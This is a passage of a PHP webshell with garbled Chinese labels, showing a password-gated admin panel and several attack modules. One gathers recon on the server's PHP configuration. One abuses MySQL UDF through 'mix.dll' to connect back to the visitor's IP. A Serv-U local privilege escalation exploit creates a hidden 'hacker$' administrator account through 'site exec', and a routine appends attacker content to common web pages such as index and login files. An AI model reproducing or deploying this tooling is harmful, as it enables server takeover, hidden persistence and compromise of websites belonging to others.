|
||
14 => array("<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̬<EFBFBD><CCAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD> enable_dl",getphpcfg("enable_dl")),
|
||
15 => array("<22><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ display_errors",getphpcfg("display_errors")),
|
||
16 => array("<22>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD> register_globals",getphpcfg("register_globals")),
|
||
17 => array("magic_quotes_gpc",getphpcfg("magic_quotes_gpc")),
|
||
18 => array("<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD> memory_limit",getphpcfg("memory_limit")),
|
||
19 => array("POST<53><54><EFBFBD><EFBFBD><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD> post_max_size",getphpcfg("post_max_size")),
|
||
20 => array("<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϴ<EFBFBD><CFB4>ļ<EFBFBD> upload_max_filesize",$upsize),
|
||
21 => array("<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEB3A4><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1> max_execution_time",getphpcfg("max_execution_time")."<22><>"),
|
||
22 => array("<22><><EFBFBD><EFBFBD><EFBFBD>õĺ<C3B5><C4BA><EFBFBD> disable_functions",$dis_func),
|
||
23 => array("phpinfo()",$phpinfo),
|
||
24 => array("Ŀǰ<C4BF><C7B0><EFBFBD>п<EFBFBD><D0BF><EFBFBD><EFBFBD>ռ<EFBFBD>diskfreespace",intval(diskfreespace(".") / (1024 * 1024)).'Mb'),
|
||
25 => array("ͼ<>δ<EFBFBD><CEB4><EFBFBD> GD Library",getfun("imageline")),
|
||
26 => array("IMAP<41><50><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD>ϵͳ",getfun("imap_close")),
|
||
27 => array("MySQL<51><4C><EFBFBD>ݿ<EFBFBD>",getfun("mysql_close")),
|
||
28 => array("SyBase<73><65><EFBFBD>ݿ<EFBFBD>",getfun("sybase_close")),
|
||
29 => array("Oracle<6C><65><EFBFBD>ݿ<EFBFBD>",getfun("ora_close")),
|
||
30 => array("Oracle 8 <20><><EFBFBD>ݿ<EFBFBD>",getfun("OCILogOff")),
|
||
31 => array("PREL<45><4C><EFBFBD><EFBFBD><EFBFBD> PCRE",getfun("preg_match")),
|
||
32 => array("PDF<44>ĵ<EFBFBD>֧<EFBFBD><D6A7>",getfun("pdf_close")),
|
||
33 => array("Postgre SQL<51><4C><EFBFBD>ݿ<EFBFBD>",getfun("pg_close")),
|
||
34 => array("SNMP<4D><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Э<EFBFBD><D0AD>",getfun("snmpget")),
|
||
35 => array("ѹ<><D1B9><EFBFBD>ļ<EFBFBD>֧<EFBFBD><D6A7>(Zlib)",getfun("gzclose")),
|
||
36 => array("XML<4D><4C><EFBFBD><EFBFBD>",getfun("xml_set_object")),
|
||
37 => array("FTP",getfun("ftp_login")),
|
||
38 => array("ODBC<42><43><EFBFBD>ݿ<EFBFBD><DDBF><EFBFBD><EFBFBD><EFBFBD>",getfun("odbc_close")),
|
||
39 => array("Session֧<6E><D6A7>",getfun("session_start")),
|
||
40 => array("Socket֧<74><D6A7>",getfun("fsockopen")),
|
||
);
|
||
$tb->tableheader();
|
||
echo "<form action=\"?action=phpenv\" method=\"POST\">\n";
|
||
$tb->tdbody('<b><3E>鿴PHP<48><50><EFBFBD>ò<EFBFBD><C3B2><EFBFBD>״<EFBFBD><D7B4></b>','left','1','30','style="padding-left: 5px;"');
|
||
$tb->tdbody('<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ò<EFBFBD><C3B2><EFBFBD>(<28><>:magic_quotes_gpc): '.$tb->makeinput('phpvarname','','','text','40').' '.$tb->makeinput('','<27>鿴','','submit'),'left','2','30','style="padding-left: 5px;"');
|
||
$tb->makehidden('do','viewphpvar');
|
||
echo "</form>\n";
|
||
$hp = array(0=> '<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>', 1=> 'PHP<48><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>', 2=> '<27><><EFBFBD><EFBFBD>֧<EFBFBD><D6A7>״<EFBFBD><D7B4>');
|
||
for ($a=0;$a<3;$a++) {
|
||
$tb->tdbody('<b>'.$hp[1].'</b>','left','1','30','style="padding-left: 5px;"');
|
||
?>
|
||
<tr class="secondalt">
|
||
<td>
|
||
<table width="100%" border="0" cellpadding="0" cellspacing="0">
|
||
<?php
|
||
if ($a==0) {
|
||
for($i=0;$i<=12;$i++) {
|
||
echo "<tr><td width=40% style=\"padding-left: 5px;\">".$info[$i][0]."</td><td>".$info[$i][1]."</td></tr>\n";
|
||
}
|
||
} elseif ($a == 1) {
|
||
for ($i=13;$i<=24;$i++) {
|
||
echo "<tr><td width=40% style=\"padding-left: 5px;\">".$info[$i][0]."</td><td>".$info[$i][1]."</td></tr>\n";
|
||
}
|
||
} elseif ($a == 2) {
|
||
for ($i=25;$i<=40;$i++) {
|
||
echo "<tr><td width=40% style=\"padding-left: 5px;\">".$info[$i][0]."</td><td>".$info[$i][1]."</td></tr>\n";
|
||
}
|
||
}
|
||
?>
|
||
</table>
|
||
</td>
|
||
</tr>
|
||
<?php
|
||
}//for
|
||
echo "</table>";
|
||
}//end phpenv
|
||
elseif($_GET['action'] == "mysqlfun"){
|
||
echo "<table width=\"760\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" bgcolor=\"#ffffff\"><tr class=\"firstalt\"><td align=\"left\">";
|
||
if($_POST['port'] != "" && $_POST['ip'] != "" && $_POST['function'] != "" && $_POST['host'] != "" && $_POST['user'] != "")
|
||
{
|
||
$link=@mysql_connect($_POST['host'],$_POST['user'],$_POST['pass']);
|
||
if (!$link) {
|
||
echo "<font color=red>Could not connect: ".mysql_error()."</font><br>";
|
||
}
|
||
else{
|
||
echo "<font color=blue>Connected successfully as ".$_POST['user']."</font><br>";
|
||
if(isset($_POST['mixpath'])&&!@file_exists($_POST['mixpath'])){
|
||
echo"<font color=red>Can't find the ".$_POST['mixpath']."</font><br>";
|
||
}
|
||
if(isset($_POST['mixpath'])){
|
||
$dll_path = addslashes($_POST['mixpath']);
|
||
$query="create function ".$_POST['function']." returns integer soname '".$dll_path."';";
|
||
echo (@mysql_query($query, $link)) ? "<font color=blue>Success: ".$query."</font><br>" : "<font color=red>Create function faild!<br>".mysql_error()."</font><br>";
|
||
}
|
||
echo"<font color=red>Now Select Function name of ".$_POST['function']."</font><br>";
|
||
$query="select ".$_POST['function']."('".$_POST['ip']."','".$_POST['port']."');";
|
||
echo (@mysql_query($query, $link)) ? "<font color=blue>Success: ".$query."</font><br>" : "<font color=red>Select Function name of ".$_POST['function']." faild!<br>".mysql_error()."</font><br>";
|
||
mysql_close($link);
|
||
}
|
||
}else{
|
||
echo"";
|
||
}
|
||
echo "</td></tr></table>";
|
||
if($nodll=="yes"){
|
||
$echodll = " <a href=\"#\" title=\"ʹ<><CAB9>˵<EFBFBD><CBB5>\" onclick=\"alert('<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ᱻaddslashes<65><73><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\\\\\\<5C><><EFBFBD><EFBFBD> \\\\\\\<5C><>ȫ<EFBFBD><C8AB>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ύ<EFBFBD><E1BDBB>\\n\\n<><6E><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>nc -vv -l -p <20>˿ڣ<CBBF>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>mysql<71><6C><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>')\">(?)</a> Mixdll<6C><6C>:
|
||
<input name=\"mixpath\" type=\"text\" class=\"INPUT\" value=\"C:\mix.dll\" size=\"50\"> <a href=\"?action=mysqlfun\">(<28><><EFBFBD><EFBFBD>function)</a>";
|
||
}else{
|
||
$echodll = "<FONT color=\"blue\"><3E>˲<EFBFBD><CBB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѽ<EFBFBD>function<6F><6E><EFBFBD>й<EFBFBD><D0B9><EFBFBD><EFBFBD><EFBFBD></FONT> <a href=\"?action=mysqlfun&nodll=yes\">(δ<><CEB4>function)</a>";
|
||
}
|
||
?>
|
||
<table width="760" border="0" cellpadding="3" cellspacing="1" bgcolor="#ffffff">
|
||
<tr class="firstalt">
|
||
<td align="center">mysql_function<6F><6E>Ȩ<EFBFBD><C8A8>mix.dll<6C><6C></td>
|
||
</tr>
|
||
<form action="?action=mysqlfun" method="POST">
|
||
<tr class="secondalt">
|
||
<td align="center"><a href="?action=sql&type=fun">(Func)</a> <3B><><EFBFBD>ض˿<D8B6>:
|
||
<input name="port" type="text" class="INPUT" value="5438" size="6"> <20><>
|
||
<20><><EFBFBD><EFBFBD>IP:
|
||
<input name="ip" type="text" class="INPUT" value="<?=$_SERVER['REMOTE_ADDR']?>"> <20><>function<6F><6E>:
|
||
<input name="function" type="text" class="INPUT" value="Mixconnect"> <a href="?action=mix">(Mix.dll)</a>
|
||
<br>
|
||
Host : <input name="host" type="text" class="INPUT" value="localhost" size="12"> User : <input name="user" type="text" class="INPUT" value="root" size="8"> PassWd : <input name="pass" type="text" class="INPUT" value=""> <br>
|
||
<?=$echodll?>
|
||
<? echo"<input name=\"nodll\" value=\"".$nodll."\" type=\"hidden\">";?> </td>
|
||
</tr>
|
||
<tr class="secondalt">
|
||
<td align="center"><input name="Submit" type="submit" class="input" id="Submit" value="ִ<><D6B4>"><3E><>
|
||
<input name="Submit" type="reset" class="INPUT" value="<22><><EFBFBD><EFBFBD>"></td>
|
||
</tr>
|
||
</form>
|
||
<tr class="secondalt">
|
||
<td align="center">Remember,Love is a dieing dream....</td>
|
||
</tr>
|
||
</table>
|
||
<?
|
||
}
|
||
elseif($_GET['action'] == "SUExp")
|
||
{
|
||
if($_POST['SUPort'] != "" && $_POST['SUUser'] != "" && $_POST['SUPass'] != "")
|
||
{
|
||
echo "<table width=\"760\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" bgcolor=\"#ffffff\"><tr class=\"firstalt\"><td align=\"left\">";
|
||
$sendbuf = "";
|
||
$recvbuf = "";
|
||
$domain = "-SETDOMAIN\r\n".
|
||
"-Domain=haxorcitos|0.0.0.0|21|-1|1|0\r\n".
|
||
"-TZOEnable=0\r\n".
|
||
" TZOKey=\r\n";
|
||
$adduser = "-SETUSERSETUP\r\n".
|
||
"-IP=0.0.0.0\r\n".
|
||
"-PortNo=21\r\n".
|
||
"-User=".$user."\r\n".
|
||
"-Password=".$password."\r\n".
|
||
"-HomeDir=c:\\\r\n".
|
||
"-LoginMesFile=\r\n".
|
||
"-Disable=0\r\n".
|
||
"-RelPaths=1\r\n".
|
||
"-NeedSecure=0\r\n".
|
||
"-HideHidden=0\r\n".
|
||
"-AlwaysAllowLogin=0\r\n".
|
||
"-ChangePassword=0\r\n".
|
||
"-QuotaEnable=0\r\n".
|
||
"-MaxUsersLoginPerIP=-1\r\n".
|
||
"-SpeedLimitUp=0\r\n".
|
||
"-SpeedLimitDown=0\r\n".
|
||
"-MaxNrUsers=-1\r\n".
|
||
"-IdleTimeOut=600\r\n".
|
||
"-SessionTimeOut=-1\r\n".
|
||
"-Expire=0\r\n".
|
||
"-RatioUp=1\r\n".
|
||
"-RatioDown=1\r\n".
|
||
"-RatiosCredit=0\r\n".
|
||
"-QuotaCurrent=0\r\n".
|
||
"-QuotaMaximum=0\r\n".
|
||
"-Maintenance=None\r\n".
|
||
"-PasswordType=Regular\r\n".
|
||
"-Ratios=None\r\n".
|
||
" Access=".$part."\|RWAMELCDP\r\n";
|
||
$deldomain="-DELETEDOMAIN\r\n".
|
||
"-IP=0.0.0.0\r\n".
|
||
" PortNo=21\r\n";
|
||
$sock = fsockopen("127.0.0.1", $_POST["SUPort"], &$errno, &$errstr, 10);
|
||
$recvbuf = fgets($sock, 1024);
|
||
echo "<font color=red>Recv: $recvbuf</font><br>";
|
||
$sendbuf = "USER ".$_POST["SUUser"]."\r\n";
|
||
fputs($sock, $sendbuf, strlen($sendbuf));
|
||
echo "<font color=blue>Send: $sendbuf</font><br>";
|
||
$recvbuf = fgets($sock, 1024);
|
||
echo "<font color=red>Recv: $recvbuf</font><br>";
|
||
$sendbuf = "PASS ".$_POST["SUPass"]."\r\n";
|
||
fputs($sock, $sendbuf, strlen($sendbuf));
|
||
echo "<font color=blue>Send: $sendbuf</font><br>";
|
||
$recvbuf = fgets($sock, 1024);
|
||
echo "<font color=red>Recv: $recvbuf</font><br>";
|
||
$sendbuf = "SITE MAINTENANCE\r\n";
|
||
fputs($sock, $sendbuf, strlen($sendbuf));
|
||
echo "<font color=blue>Send: $sendbuf</font><br>";
|
||
$recvbuf = fgets($sock, 1024);
|
||
echo "<font color=red>Recv: $recvbuf</font><br>";
|
||
$sendbuf = $domain;
|
||
fputs($sock, $sendbuf, strlen($sendbuf));
|
||
echo "<font color=blue>Send: $sendbuf</font><br>";
|
||
$recvbuf = fgets($sock, 1024);
|
||
echo "<font color=red>Recv: $recvbuf</font><br>";
|
||
$sendbuf = $adduser;
|
||
fputs($sock, $sendbuf, strlen($sendbuf));
|
||
echo "<font color=blue>Send: $sendbuf</font><br>";
|
||
$recvbuf = fgets($sock, 1024);
|
||
echo "<font color=red>Recv: $recvbuf</font><br>";
|
||
echo "**********************************************************<br>";
|
||
if($job!=="adduser"){//<2F><><EFBFBD>費<EFBFBD>ǽ<EFBFBD><C7BD><EFBFBD><EFBFBD>û<EFBFBD>
|
||
echo "Starting Exploit ...<br>";
|
||
echo "**********************************************************<br>";
|
||
$exp = fsockopen("127.0.0.1", "21", &$errno, &$errstr, 10);
|
||
$recvbuf = fgets($exp, 1024);
|
||
echo "<font color=red>Recv: $recvbuf</font><br>";
|
||
$sendbuf = "USER ".$user."\r\n";
|
||
fputs($exp, $sendbuf, strlen($sendbuf));
|
||
echo "<font color=blue>Send: $sendbuf</font><br>";
|
||
$recvbuf = fgets($exp, 1024);
|
||
echo "<font color=red>Recv: $recvbuf</font><br>";
|
||
$sendbuf = "PASS ".$password."\r\n";
|
||
fputs($exp, $sendbuf, strlen($sendbuf));
|
||
echo "<font color=blue>Send: $sendbuf</font><br>";
|
||
$recvbuf = fgets($exp, 1024);
|
||
echo "<font color=red>Recv: $recvbuf</font><br>";
|
||
$sendbuf = "site exec ".$_POST["SUCommand"]."\r\n";
|
||
fputs($exp, $sendbuf, strlen($sendbuf));
|
||
echo "<font color=blue>Send: site exec</font> <font color=green>".$_POST["SUCommand"]."</font><br>";
|
||
$recvbuf = fgets($exp, 1024);
|
||
echo "<font color=red>Recv: $recvbuf</font><br>";
|
||
echo "**********************************************************<br>";
|
||
echo "Starting Delete Domain ...<br>";
|
||
echo "**********************************************************<br>";
|
||
$sendbuf = $deldomain;
|
||
fputs($sock, $sendbuf, strlen($sendbuf));
|
||
echo "<font color=blue>Send: $sendbuf</font><br>";
|
||
$recvbuf = fgets($sock, 1024);
|
||
echo "<font color=red>Recv: $recvbuf</font><br>";
|
||
}else{
|
||
echo "All done ...<br>";
|
||
echo "**********************************************************<br>";
|
||
}
|
||
echo "</td></tr></table>";
|
||
fclose($sock);
|
||
if($job!=="adduser") fclose($exp);
|
||
}
|
||
?>
|
||
<table width="760" border="0" cellpadding="3" cellspacing="1" bgcolor="#ffffff">
|
||
<tr class="firstalt">
|
||
<td align="center">ͨ<><CDA8>Serv-U <20><><EFBFBD>ع<EFBFBD><D8B9><EFBFBD>Ա<EFBFBD>ʺ<EFBFBD>ִ<EFBFBD><D6B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD> & <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></td>
|
||
</tr>
|
||
<form action="?action=SUExp" method="POST">
|
||
<tr class="secondalt">
|
||
<td align="center">LocalPort:
|
||
<input name="SUPort" type="text" class="INPUT" id="SUPort" value="43958" size="7"> <20><>
|
||
LocalUser:
|
||
<input name="SUUser" type="text" class="INPUT" id="SUUser" value="LocalAdministrator"> <20><>LocalPass:
|
||
<input name="SUPass" type="text" class="INPUT" id="SUPass" value="#l@$ak#.lk;0@P">
|
||
<br>
|
||
<?php
|
||
if($job!=="adduser"){
|
||
?>
|
||
Command<6E><64>:
|
||
<input name="SUCommand" type="text" class="INPUT" id="SUCommand" value="net user hacker$ hacker /add" size="50"> <a href="?action=SUExp&job=adduser">(<28><><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD>)</a> - <a href="#" title="ʹ<><CAB9>˵<EFBFBD><CBB5>" onClick="alert('<27><>ѡ<EFBFBD><D1A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>hacker$<24><><EFBFBD><EFBFBD>Ϊhacker<65><72><EFBFBD>ʺŲ<CABA><C5B2><EFBFBD>EXP<58><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>hacker<65><72>\n\n<><6E><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ա<EFBFBD>ʺ<EFBFBD><CABA>õģ<C3B5><C4A3><EFBFBD>ִ<EFBFBD><D6B4>site exec <20><><EFBFBD>\n\n<><6E><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>ѡĿ¼<C4BF><C2BC>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD>Ȩ<EFBFBD><EFBFBD><DEB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>')">(?)</a>
|
||
<input name="user" type="hidden" value="hacker$">
|
||
<input name="password" type="hidden" value="hacker">
|
||
<input name="part" type="hidden" value="C:\">
|
||
<?}
|
||
else{
|
||
?>
|
||
<09>ʺ<EFBFBD>:
|
||
<input name="user" type="text" class="INPUT" value="hacker$" size="20">
|
||
<20><><EFBFBD><EFBFBD>:
|
||
<input name="password" type="text" class="INPUT" value="hacker" size="20">
|
||
Ŀ¼:
|
||
<input name="part" type="text" class="INPUT" value="C:\" size="20">
|
||
<a href="?action=SUExp">(ִ<><D6B4>CMD)</a> - <a href="#" title="ʹ<><CAB9>˵<EFBFBD><CBB5>" onClick="alert('<27>ص<EFBFBD>ִ<EFBFBD><D6B4><EFBFBD><EFBFBD><EFBFBD>')">(?)</a>
|
||
<input name="job" type="hidden" value="<?=$job?>">
|
||
<?php
|
||
}
|
||
?></td>
|
||
</tr>
|
||
<tr class="secondalt">
|
||
<td align="center"><input name="Submit" type="submit" class="input" id="Submit" value="ִ<><D6B4>"><3E><>
|
||
<input name="Submit" type="reset" class="INPUT" value="<22><><EFBFBD><EFBFBD>"></td>
|
||
</tr>
|
||
</form>
|
||
</table>
|
||
<?php
|
||
}
|
||
?>
|
||
<hr width="775" noshade>
|
||
<table width="775" border="0" cellpadding="0">
|
||
<tr>
|
||
<td><FONT color=#ff3300><3E><><EFBFBD><EFBFBD>:<3A><><EFBFBD><EFBFBD>ʹ<EFBFBD>ñ<EFBFBD><C3B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·Ƿ<C2B7><C7B7><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ը<EFBFBD><D4B8><EFBFBD></font></td>
|
||
<td align="right"><?php
|
||
debuginfo();
|
||
ob_end_flush();
|
||
?></td>
|
||
</tr>
|
||
</table>
|
||
</center>
|
||
</body>
|
||
</html>
|
||
|
||
<?php
|
||
|
||
/*======================================================
|
||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
======================================================*/
|
||
|
||
// <20><>½<EFBFBD><C2BD><EFBFBD><EFBFBD>
|
||
function loginpage() {
|
||
global $hidden,$alexa;
|
||
if($hidden=="44997"){
|
||
?>
|
||
<style type="text/css">
|
||
input {font-family: "Verdana";font-size: "11px";BACKGROUND-COLOR: "#FFFFFF";height: "18px";border: "1px solid #666666";}
|
||
</style>
|
||
<table width="416" border="0" align="center" cellpadding="0" cellspacing="0">
|
||
<form method="POST" action="">
|
||
<tr>
|
||
<td height="75" align="center">
|
||
<span style="font-size: 11px; font-family: Verdana"><3E><><EFBFBD><EFBFBD>: </span><input name="adminpass" type="password" size="20">
|
||
<input type="hidden" name="do" value="login">
|
||
<input type="submit" value="<22><>½">
|
||
</td>
|
||
</tr>
|
||
</form>
|
||
<?php
|
||
if($alexa!=="no"){
|
||
?>
|
||
</table>
|
||
<?}
|
||
}?>
|
||
<?php
|
||
exit;
|
||
}//end loginpage()
|
||
|
||
// ҳ<><D2B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||
function debuginfo() {
|
||
global $starttime;
|
||
$mtime = explode(' ', microtime());
|
||
$totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
|
||
echo "ҳ<><D2B3>ִ<EFBFBD><D6B4><EFBFBD><EFBFBD> $totaltime <20><>";
|
||
}
|
||
|
||
// ȥ<><C8A5>ת<EFBFBD><D7AA><EFBFBD>ַ<EFBFBD>
|
||
function stripslashes_array(&$array) {
|
||
while(list($key,$var) = each($array)) {
|
||
if ($key != 'argc' && $key != 'argv' && (strtoupper($key) != $key || ''.intval($key) == "$key")) {
|
||
if (is_string($var)) {
|
||
$array[$key] = stripslashes($var);
|
||
}
|
||
if (is_array($var)) {
|
||
$array[$key] = stripslashes_array($var);
|
||
}
|
||
}
|
||
}
|
||
return $array;
|
||
}
|
||
|
||
|
||
// ɾ<><C9BE>Ŀ¼
|
||
function deltree($deldir) {
|
||
$mydir=@dir($deldir);
|
||
while($file=$mydir->read()) {
|
||
if((is_dir("$deldir/$file")) AND ($file!=".") AND ($file!="..")) {
|
||
@chmod("$deldir/$file",0777);
|
||
deltree("$deldir/$file");
|
||
}
|
||
if (is_file("$deldir/$file")) {
|
||
@chmod("$deldir/$file",0777);
|
||
@unlink("$deldir/$file");
|
||
}
|
||
}
|
||
$mydir->close();
|
||
@chmod("$deldir",0777);
|
||
return (@rmdir($deldir)) ? 1 : 0;
|
||
}
|
||
|
||
// <20>ж϶<D0B6>д<EFBFBD><D0B4><EFBFBD><EFBFBD>
|
||
function dir_writeable($dir) {
|
||
if (!is_dir($dir)) {
|
||
@mkdir($dir, 0777);
|
||
}
|
||
if(is_dir($dir)) {
|
||
if ($fp = @fopen("$dir/test.txt", 'w')) {
|
||
@fclose($fp);
|
||
@unlink("$dir/test.txt");
|
||
$writeable = 1;
|
||
} else {
|
||
$writeable = 0;
|
||
}
|
||
}
|
||
return $writeable;
|
||
}
|
||
|
||
// <20><><EFBFBD><EFBFBD><EFBFBD>м<EFBFBD><D0BC>ı<EFBFBD><C4B1><EFBFBD>ɫ<EFBFBD>滻
|
||
function getrowbg() {
|
||
global $bgcounter;
|
||
if ($bgcounter++%2==0) {
|
||
return "firstalt";
|
||
} else {
|
||
return "secondalt";
|
||
}
|
||
}
|
||
|
||
// <20><>ȡ<EFBFBD><C8A1>ǰ<EFBFBD><C7B0><EFBFBD>ļ<EFBFBD>ϵͳ·<CDB3><C2B7>
|
||
function getPath($mainpath, $relativepath) {
|
||
global $dir;
|
||
$mainpath_info = explode('/', $mainpath);
|
||
$relativepath_info = explode('/', $relativepath);
|
||
$relativepath_info_count = count($relativepath_info);
|
||
for ($i=0; $i<$relativepath_info_count; $i++) {
|
||
if ($relativepath_info[$i] == '.' || $relativepath_info[$i] == '') continue;
|
||
if ($relativepath_info[$i] == '..') {
|
||
$mainpath_info_count = count($mainpath_info);
|
||
unset($mainpath_info[$mainpath_info_count-1]);
|
||
continue;
|
||
}
|
||
$mainpath_info[count($mainpath_info)] = $relativepath_info[$i];
|
||
} //end for
|
||
return implode('/', $mainpath_info);
|
||
}
|
||
function dirtree($path,$mm)
|
||
{
|
||
$d =@dir("$path");
|
||
while (false !== ($entry = $d->read())) {
|
||
if($entry == "." || $entry == "..") continue;
|
||
$file=$d->path."/" .$entry;
|
||
if(@is_dir($file))
|
||
{
|
||
dirtree($file,$mm);
|
||
}
|
||
else
|
||
{
|
||
if(@ereg("default\.|index\.|admin\.|bbs\.|reg\.|help\.|upfile\.|upload\.|cart\.|class\.|login\.|diy\.|no\.|ok\.|del\.|sql\.|user\.|ubb\.|ftp\.|asp\.|top\.|new\.|open\.|name\.|email\.|img\.|images\.|web\.|blog\.|save\.|data\.|add\.|edit\.|main\.|form\.|game\.|about\.|manager\.|book\.|bt\.|mp3\.|vod\.|error\.|copy\.|move\.|down\.|system\.|logo\.|QQ\.|520\.|newup\.|myup\.|play\.|show\.|view\.|ip\.|err404\.|send\.|foot\.|char\.|info\.|list\.|shop\.|err\.|nc\.|ad\.|flash\.|text\.|admin_upfile\.|admin_upload\.|upfile_load\.|upfile_soft\.|upfile_photo\.|upfile_softpic\.|vip\.|505\.|tag\.|search\.|list\.|common\.|show\.|count\.|download\.|php\.",$file)) {
|
||
$mm=stripcslashes( trim( $mm ) );//<2F><>ֹ<EFBFBD><D6B9>˫<EFBFBD><CBAB><EFBFBD>ű<EFBFBD><C5B1><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1>
|
||
$handle = @fopen ("$file", "a");
|
||
@fwrite($handle, "$mm");
|
||
@fclose($handle);
|
||
echo "<22>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD>ļ<EFBFBD>:$file<br>";
|
||
}
|
||
}
|
||
}
|
||
$d->close();
|
||
}
|
||
// <20><><EFBFBD><EFBFBD>PHP<48><50><EFBFBD>ò<EFBFBD><C3B2><EFBFBD>
|
||
function getphpcfg($varname) {
|
||
switch($result = get_cfg_var($varname)) {
|
||
case 0:
|
||
return "No";
|
||
break;
|
||
case 1:
|
||
return "Yes";
|
||
break;
|
||
default:
|
||
return $result;
|
||
break;
|
||
}
|
||
}
|
||
|
||
// <20><><EFBFBD>麯<EFBFBD><E9BAAF><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
function getfun($funName) {
|
||
return (false !== function_exists($funName)) ? "Yes" : "No";
|
||
}
|
||
|
||
class zip //ZIPѹ<50><D1B9><EFBFBD><EFBFBD>
|
||
{
|
||
|
||
var $datasec, $ctrl_dir = array();
|
||
var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
|
||
var $old_offset = 0; var $dirs = Array(".");
|
||
function Add($files,$compact)
|
||
{
|
||
if(!is_array($files[0])) $files=Array($files);
|
||
|
||
for($i=0;$files[$i];$i++){
|
||
$fn = $files[$i];
|
||
if(!in_Array(dirname($fn[0]),$this->dirs))
|
||
$this->add_Dir(dirname($fn[0]));
|
||
if(basename($fn[0]))
|
||
$ret[basename($fn[0])]=$this->add_File($fn[1],$fn[0],$compact);
|
||
}
|
||
return $ret;
|
||
}
|
||
function get_file()
|
||
{
|
||
$data = implode('', $this -> datasec);
|
||
$ctrldir = implode('', $this -> ctrl_dir);
|
||
|
||
return $data . $ctrldir . $this -> eof_ctrl_dir .
|
||
pack('v', sizeof($this -> ctrl_dir)).pack('v', sizeof($this -> ctrl_dir)).
|
||
pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
|
||
}
|
||
function ReadCentralDir($zip,$zip_name)
|
||
{
|
||
$size = filesize($zip_name);
|
||
if ($size < 277) $maximum_size = $size;
|
||
else $maximum_size=277;
|
||
@fseek($zip, $size-$maximum_size);
|
||
$pos = ftell($zip); $bytes = 0x00000000;
|
||
while ($pos < $size)
|
||
{
|
||
$byte = @fread($zip, 1); $bytes=($bytes << 8) | Ord($byte);
|
||
if ($bytes == 0x504b0506){ $pos++; break; } $pos++;
|
||
}
|
||
$data=unpack('vdisk/vdisk_start/vdisk_entries/ventries/Vsize/Voffset/vcomment_size',fread($zip,18));
|
||
if ($data['comment_size'] != 0)
|
||
$centd['comment'] = fread($zip, $data['comment_size']);
|
||
